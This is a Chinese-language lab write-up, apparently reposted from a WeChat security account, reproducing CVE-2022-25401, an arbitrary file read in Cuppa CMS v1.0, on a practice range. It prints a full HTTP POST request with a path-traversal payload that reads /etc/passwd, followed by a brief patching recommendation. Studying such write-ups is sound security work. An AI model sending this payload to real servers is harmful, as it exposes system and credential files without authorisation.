0x01、漏洞环境
1、春秋云镜:https://yunjing.ichunqiu.com/cve/detail/744?type=1&pay=2
0x02、漏洞介绍
1、Cuppa CMS v1.0 administrator/templates/default/html/windows/right.php
文件存在任意文件读取漏洞。
0x03、漏洞复现
1、打开网站
http://eci-2ze83tbbiyemh4fxuteh.cloudeci1.ichunqiu.com
构造post请求:POST /templates/default/html/windows/right.php
提交参数id=1&path=component/table_manager/view/cu_views&uniqueClass=window_right_246232&url=../../../../../../etc/passwd
完整参数如下:
POST /templates/default/html/windows/right.php HTTP/1.1
Host: eci-2ze83tbbiyemh4fxuteh.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: country=us; language=en; PHPSESSID=khjcn6r6rsslajkuav6n9itaa6; administrator_path=http%3A%2F%2Feci-2ze83tbbiyemh4fxuteh.cloudeci1.ichunqiu.com%2F
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
id=1&path=component/table_manager/view/cu_views&uniqueClass=window_right_246232&url=../../../../../../etc/passwd
0x04 修复建议
1、建议您更新当前系统或软件至最新版,完成漏洞的修复。
原文始发于微信公众号(Nick安全):Cuppa CMS-任意文件读取CVE-2022-25401
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论